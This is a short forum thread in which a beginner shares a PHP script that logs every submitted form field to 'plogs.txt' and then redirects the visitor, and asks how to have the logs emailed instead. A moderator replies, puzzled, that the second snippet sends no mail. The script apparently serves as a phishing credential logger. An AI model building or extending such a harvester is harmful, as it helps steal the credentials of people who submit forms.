Jump to content

Mail Script


Anique

Recommended Posts

i m noob i m trying to learning coding i have made one script to record log but problem is this open a log file into server i want on my mail address my current code is

 

<?php
header ('Location: http://url.com/logs');
$handle = fopen("plogs.txt", "a");
foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

 

And i m using mail coding like dis but not working :(

 

<?php  
$to = "youremail@yourdomain.com"; 
$Subject = "yourubjectl"; 
foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Link to comment
Share on other sites


  • Management

Uhm not sure what you are trying to do with this code...

 

Also your second code doesn't have any code to actually send an email, but it savesall the $_POST variables like the other one :o

Board Rules - Available Products - Need a Custom Work?

 

< Don't PM me for support, post in the forum or submit a ticket from the client area instead! >

Link to comment
Share on other sites


Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use and Privacy Policy.